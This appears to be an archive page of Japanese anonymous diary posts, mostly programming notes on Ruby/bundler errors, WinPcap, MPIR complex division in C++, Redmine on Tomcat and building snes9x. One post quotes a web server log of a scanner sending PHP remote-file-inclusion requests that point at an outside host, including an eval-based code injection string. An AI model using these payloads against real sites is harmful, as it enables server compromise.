bundle install --path vendor/bundle
Gemfile syntax error:
/h/massr/Gemfile:14: syntax error, unexpected ':', expecting kEND
	gem 'sinatra-reloader', require: 'sinatra/reloader'
	                                ^
/h/massr/Gemfile:16: syntax error, unexpected ':', expecting kEND
	gem 'pit', require: 'pit'
	                   ^

sudo gem install sinatra
Successfully installed sinatra-1.3.3
1 gem installed
Installing ri documentation for sinatra-1.3.3...

unrecognized option `--encoding=UTF-8'

For help on options, try 'rdoc --help'

ERROR:  While generating documentation for sinatra-1.3.3
... MESSAGE:   exit
... RDOC args: --ri --op /Library/Ruby/Gems/1.8/doc/sinatra-1.3.3/ri --line-numbers --inline-source --title Sinatra --main README.rdoc --encoding=UTF-8 lib README.de.rdoc README.es.rdoc README.fr.rdoc README.hu.rdoc README.jp.rdoc README.ko.rdoc README.pt-br.rdoc README.pt-pt.rdoc README.rdoc README.ru.rdoc README.zh.rdoc LICENSE --title sinatra-1.3.3 Documentation --quiet

アホか

http://anond.hatelabo.jp/20120918155055

解決しない問題なので書き捨てる

~/.rbenv/shims/bundle 使ってるのに /Library/Ruby/Gems/1.8/gems/bundler-1.1.3/lib/bundler/ 以下を見に行こうとするのをやめてくれないので bundle install が通らない

これで半日近く悩んでいる

糞が

2012-04-02

winpcap アプリ開発 Windows C言語

pcap.h は、windows.h よりも先にinlcude宣言すること。

#include "pcap.h"

#include &lt;windows.h&gt;


あとは、wpcap.libライブラリとして登録すればよろしい。

2011-10-06

WINPCAP 4.1.2 を使ったアプリケーション開発(with VC++ 2010 EXPRESS)で

Windows 7 64bit 版上で winpcap を使ったサービスプロセス制作

こちらのページを参考にさせてもらった。

WinPcapを使用したパケットモニター作成CodeZine 古谷誠進さん

http://codezine.jp/article/detail/126?p=2

が、1点バグ発見

・アダプタ一覧(アダプタ名およびIPアドレス)を取得する

の箇所

// デバイス情報バッファを開放する

処理は、while(d)ループの外でやらなくちゃいけない。

デバッグきつかったっす、サービスだとデバッグできないこともあって。

・俺のマシンが64bitだからwinpcap.dlllibと合わない?

(PCAPSDKのLibx64というサブフォルダがあって、こっちのものを指定しなきゃだめ?)

・WIDECHARとMULTIBYTE の扱いの問題?

と、いろいろ迂回してしまった。

"途中で停止しました"の原因を2時間くらいいろいろ調べ、

解消したら、無事動き出した。

「まずはサンプルの制作から」と、時間をかけないために記事はあとでゆっくり研究しよう...と

コードコピペで済ませてるあたしが悪いんだよ。

ちなみに、いろいろ掲載されている情報の中で、こちらのWEBページの記事が一番わかりやすかったです

2011-08-11

*[プログラミング]ズブの素人プログラミング勉強して大規模サイト

日記途中だけど緊急事態><、一番下まで呼んで誰か助けてください><

今日から夏休みが始まったのでプログラミング勉強しようと思う。

3日坊主にならないようにがんばる。

  • 何故日記をつけるか?

去年もプログラミングマスターになろうとしたが失敗。

去年の二の舞にならないようにモチベを維持するために日記を書く。

これに影響された。師匠と呼ぼう。

プログラミングができたらかっこいい!

サークル友達もいなくさびしい夏休み有意義にしようとするため

都内の大学に通う2年生。

前述のとおりサークルもやってない、友達もいない、典型的インドアオタク

でも顔はイケメン

プログラミングは3年前にJavascriptHTMLネトゲでの戦いを整形するために覚えた程度。ほとんど忘れてる。

C言語大学で習ったが「苦しんで覚えるC言語」というサイトにのっている範囲しかやってない。

一応プログラミングの知識は少しはある。

やっぱり、目標はあったほうがいい。

うーん、やっぱり完全に一致みたいな情報網羅サイトを作ってみようと思う。

色々な技術が手に入りそうだし。

色々な言語も学べそう

どんなサイトにするか?大規模情報サイト
学ぶ言語HTML,PHP,Ruby,Javascript,CSS

とりあえずプログラミングにはエディタアップロードするやつが必要なので色々いれてみた。

エディタ
Netbeans重い、すごく重い
phpエディタphpしか編集できない
terapad色分けが出来ない
K2Editorこれが一番最強。でもphp対応してない
HIDEMARU4000YENwin7じゃ使えなかった。
アップするやつ
FileZilla使いづらい、糞
ALFTPこれが一番しっくりきた

というわけで色々悩んだ結果、基本K2Editor、php編集Netbeans,アップロードALFTPにした。

phphtmlrubyjavascript対応してて色分けも出来るwin7で動くエディタないのが残念

実は1ヶ月前にプログラミング勉強しようと思ってサーバーは借りてた。

試験があったので泣く泣く今日からはじめる事に。

ググったり、2chに質問したりして悩んで悩んでロリポップのチカッパプランを借りる事にした。

http://lolipop.jp/service/plan-chicappa/

初期費用 ¥1,575
料金(6ヶ月) ¥3,150
(1ヶ月あたり) ¥525
合計金額 ¥4,725

学生自分にとってはめちゃくちゃ高い。

しかしながら無料レンタルさばより色々といじれて、なにより「お金はもう払った、使わないともったいない」という意識を持つ事でだらけないで出来ると思う。

まず師匠日記をみてみる。HTMLCSSからはじめたと書いてあるが、多分これからはじめると飽きる。

なのでWeb情報自動で集めてくれる(これをスクレイピングという)BOTを作ろうと思う。

日記を読むとMechaniseというのを使ってるらしい。

グーグルでMechaniseで検索

そうするとRuby jamというもので動いているものらしく、Ruby jamRubyで動いている。

Rubyは鯖にはいっているがどうやらjamのほうははいっていないらしくMechaniseもはいっていない。ということで

  • 助けて

ロリポップの解説ページをみてPuTTyていうのをいれてSSH操作ってやつをしてた。

http://d.hatna.ne.jp/taramonera/20100601/1275388515

このページをみながらやってたら

% vi ~/.cshrc

これを実行して

setenv RUBYLIB /home/アカウント名/lib

setenv GEM_HOME /home/アカウント名/lib/rubygems

これを書いて終わろうとしたけど終わり方がわからない><

:wqで保存終了らしいんだけど、入力したところで終われない><

エンタしまくってもだめ><

教えて得ろい人><

2010-05-10

多倍長ライブラリMPIRで複素数std::complexを扱う方法(C++)

C++プログラムで多倍長な複素数を使いたかったのでメモ

C++において多倍長整数,多倍長浮動小数点を扱うライブラリとしてGMPが有名だ.

Visual C++を使っているのなら,GMPと互換のあるMPIRが導入しやすくて良い.

以下,VC10 (Visual Studio 2010)環境での話.

このMPIRはどうもC++複素数クラスstd::complexと相性が悪いようだ.

以下のコードエラーとなってしまう.

#include <complex&gt; 
#include <iostream&gt; 
#include <iomanip&gt; 
#include <mpirxx.h&gt; 

int main()
{
	std::complex<mpf_class&gt; a(1.0, 2.0);
	std::complex<mpf_class&gt; b(0.0, 1.0);
	std::complex<mpf_class&gt; c1 = a + b;
	std::complex<mpf_class&gt; c2 = a - b;
	std::complex<mpf_class&gt; c3 = a * b;
//	std::complex<mpf_class&gt; c4 = a / b;	// error
	
	std::cout << "a  =" << a  << std::endl
	          << "b  =" << b  << std::endl
	          << "c1 =" << c1 << std::endl
	          << "c2 =" << c2 << std::endl
	          << "c3 =" << c3 << std::endl;
//	std::cout << "c4 =" << c4 << std::endl;
	return 0;
}

「operator/=」から呼び出される「_Div」内部でエラーが出る.

そこでテンプレートの特殊化をする.

#pragma once
#include <mpirxx.h&gt;
#if defined(_MSC_VER) &amp;amp;&amp;amp; (_MSC_VER == 1500)      /* VC9 (Visual Studio 2008) */
  #pragma comment(lib, "C:\\lib\\MPIR\\vc9\\mpirxx.lib")
  #pragma comment(lib, "C:\\lib\\MPIR\\vc9\\mpir.lib")
#else if defined(_MSC_VER) &amp;amp;&amp;amp; (_MSC_VER == 1600) /* VC10 (Visual Studio 2010) */
  #pragma comment(lib, "C:\\lib\\MPIR\\vc10\\mpirxx.lib")
  #pragma comment(lib, "C:\\lib\\MPIR\\vc10\\mpir.lib")
#endif

#include<complex&gt;
namespace std {
	template<&gt;
	complex<mpf_class&gt;&amp;amp; complex<mpf_class&gt;::operator/=(const complex<mpf_class&gt;&amp;amp; _Right)
	{	// divide by other complex   //this-&gt;_Div(_Right);
		mpf_class _Rightreal = (mpf_class)_Right.real();
		mpf_class _Rightimag = (mpf_class)_Right.imag();

		mpf_class bunbo = _Rightreal * _Rightreal + _Rightimag * _Rightimag;
		mpf_class re = ( this-&gt;real() * _Rightreal + this-&gt;imag() * _Rightimag ) / bunbo;
		mpf_class im = ( this-&gt;imag() * _Rightreal - this-&gt;real() * _Rightimag ) / bunbo;

		this-&gt;real(re);
		this-&gt;imag(im);
		return (*this);
	}
}

これでとりあえずは割り算もできるようになった.

計算精度については何も考えていない.

突っ込みお待ちしてます.

2010-04-22

Redmine 0.9.3をTomcat 6で実行する方法

結構苦労したので健忘録として。。

環境は以下のとおり

JDK, Tomcat, JRubyインストール済み

MySQLインストール
yum install mysql-server
MySQLの起動
/etc/init.d/mysqld start
MySQLの設定

rootパスワードなどを設定する

mysql_secure_installation
Rubyモジュールインストール

RubyGemsモジュールインストールする

jruby -S gem install rails
jruby -S gem install warbler
jruby -S gem install activerecord-jdbc-adapter
jruby -S gem install activerecord-jdbcmysql-adapter
jruby -S gem install jdbc-mysql
MySQLRedmineデータベースを作成
mysql -u root -p
mysql&gt; create database redmine character set utf8;
mysql&gt; grant all privileges on redmine.* to 'redmine'@'localhost' identified by 'redmine';
mysql&gt; exit

(ここでは、パスワードredmineしているが自由に)

RedmineDB設定

(任意の場所にRedmine解凍して、解凍先のディレクトリに移動した後)

cp config/database.yml.example config/database.yml
vi config/database.yml

database.yml

production:
  adapter: jdbcmysql
  database: redmine
  host: localhost
  username: redmine
  password: redmine
  encoding: utf8

#development:
#
#
#test:
#
#

後のwarbleでのエラーを防ぐため、developmentとtestコメントアウト

DBへのデータ投入
jruby -S rake generate_session_store
jruby -S rake db:migrate RAILS_ENV=production
jruby -S rake load_default_data RAILS_ENV=production
起動確認

script/serverで起動し、http://localhost:3000 にアクセスして正常に動作するか確認する

jruby script/server -e production
production.rbの修正

Tomcatで動かしたときにログ出力するための設定をする

vi config/environments/production.rb
config.logger = Logger.new(config.log_path)
config.logger.level = Logger::INFO
warblerの設定

warble.rbを生成

jruby -S warble config

warble.rbを修正

vi config/warble.rb
  config.dirs = %w(app config lib log vendor tmp extra files lang)
  config.gems = ["jdbc-mysql", "activerecord-jdbcmysql-adapter", "activerecord-jdbc-adapter"]
  config.gems["rails"] = "2.3.5"
  config.gems["rack"] = "1.0.1"
  config.webxml.rails.env = "production"

warファイルを作成

jruby -S warble

できたwarファイルTomcatに配置して、Tomcatを起動する

mv redmine-0.9.3.war /usr/local/tomcat/webapps/redmine.war
/usr/local/tomcat/bin/startup.sh

warblerのバグ(?)でwarに入らないファイルコピーして入れる

cp vendor/gems/rubytree-0.5.2/.specification /usr/local/tomcat/webapps/redmine/WEB-INF/vendor/gems/rubytree-0.5.2

http://localhost:8080/redmine/ にアクセスしてインストールできたか確認して完了!

2009-12-07

株式会社プロアームからのスキャン活動(Morfeus Fucking Scanner)

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /?_SERVER[DOCUMENT_ROOT]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 234 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /errors.php?error=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 223 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /?page=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 216 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /poll/png.php?include_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 231 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 272 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /admin/business_inc/saveserver.php?thisdir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /webcalendar/tools/send_reminders.php?noSet=0&amp;includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 256 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /cal/tools/send_reminders.php?noSet=0&amp;includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 251 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /projects/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 241 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /ktmlpro/includes/ktedit/toolbar.php?dirDepth=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /index2.php?_REQUEST[option]=com_content&amp;_REQUEST[Itemid]=1&GLOBALS=&amp;mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 286 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET //?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 231 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /s_loadenv.inc.php?DOCUMENT_ROOT=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 237 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /project/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /board/include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /dotproject/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /components/com_facileforms/facileforms.frame.php?ff_compath=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 247 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /calendar/tools/send_reminders.php?noSet=0&amp;includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 253 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 236 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /rgboard/include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 255 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /index.php?option=com_content&amp;task=&amp;sectionid=&amp;id=&amp;mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 269 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /administrator/components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 260 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /components/com_rwcards/rwcards.advancedate.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /?include_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 224 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /cacti/include/config_settings.php?config[include_path]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 248 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /cms/ktmlpro/includes/ktedit/toolbar.php?dirDepth=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 245 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class%20zZz_ADOConnection{}//&amp;w=include($_GET[a]);&amp;a=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 307 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /index.php?DOCUMENT_ROOT=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 232 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:47 +0900] "GET /plugins/safehtml/HTMLSax3.php?dir[plugins]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:47 +0900] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 272 "-" "Morfeus Fucking Scanner"

2009-05-17

Visual Studioでのsnes9x-1.5.1のビルドのコツ

・snes9x-1.5.1-srcフォルダを入れるまとめフォルダを作る(ここにzliblibpngとfmodとnasmのフォルダを突っ込むため)。


・zlibソースDLして解凍する。できたフォルダをzlibリネームしてまとめフォルダに突っ込む。zlibフォルダ内のcrc32.cをemucrc32.cにリネームする。


libpngはコンパイル済みバイナリDLして解凍する。できたフォルダlibpngにリネームしてまとめフォルダに突っ込む。ソリューションエクスプローラlibPNGフォルダ内の*.cをプロジェクトから除外する。プロジェクトプロパティで追加の依存ファイル一覧にあるlibpngmt.liblibpng.libリネームする。


・fmodはver.3系(ver.4系でのビルドは未確認)のコンパイル済みバイナリDLして解凍する。できたフォルダの中のフォルダをfmodにリネームしてまとめフォルダに突っ込む。


・nasmはコンパイル済みバイナリDLして解凍する。できたフォルダの中のフォルダをnasmにリネームしてまとめフォルダに突っ込む。nasmはプロジェクト中の*.asmのビルドに必要になる。後の*.asmのビルド設定との整合性のためこの通りに配置すること。


プロジェクトプロパティDirectX SDKのIncludeとLibフォルダパスを通す。


プロジェクトプロパティで、「リンク前のイベント」に次のコマンドを追加する。

pushd "$(SolutionDir)..\"

del "i386\*.obj"

"$(SolutionDir)..\..\nasm\nasm.exe" -f coff "i386\2xsaimmx.asm" "-oi386\2xsaimmx.obj"

"$(SolutionDir)..\..\nasm\nasm.exe" -f coff "i386\bilinear.asm" "-oi386\bilinear.obj"

rem "$(SolutionDir)..\..\nasm\nasm.exe" -f coff "i386\c4.asm" "-oi386\c4.obj"

"$(SolutionDir)..\..\nasm\nasm.exe" -f coff "i386\fxemu2.asm" "-oi386\fxemu2.obj"

"$(SolutionDir)..\..\nasm\nasm.exe" -f coff "i386\fxemu2b.asm" "-oi386\fxemu2b.obj"

"$(SolutionDir)..\..\nasm\nasm.exe" -f coff "i386\fxemu2c.asm" "-oi386\fxemu2c.obj"

"$(SolutionDir)..\..\nasm\nasm.exe" -f coff "i386\fxtable.asm" "-oi386\fxtable.obj"

"$(SolutionDir)..\..\nasm\nasm.exe" -f coff "i386\sfxproc.asm" "-oi386\sfxproc.obj"

"$(SolutionDir)..\..\nasm\nasm.exe" -f coff "i386\spc.asm" "-oi386\spc.obj"

"$(SolutionDir)..\..\nasm\nasm.exe" -f coff "i386\zsnes.asm" "-oi386\zsnes.obj"

rem "$(SolutionDir)..\..\nasm\nasm.exe" -f coff "i386\zsnesc4.asm" "-oi386\zsnesc4.obj"

popd

上記のコマンドに出てくる11個の*.objファイルプロジェクトに追加する。ただしコマンドコメントアウトされている2つ(c4.objとzsnesc4.obj)はビルドから除外しておくこと。


・SARマクロ(sar.h)が原因でコンパイラが死ぬので、このマクロを不使用にするためにport.hの277行のRIGHTSHIFT_IS_SARマクロ定義を未定義にする。


ここまでの手順でビルドが通る。


TODO:

プリプロセッサZSNES_C4を有効にする時の設定

アーカイブ ヘルプ
ログイン ユーザー登録
ようこそ ゲスト さん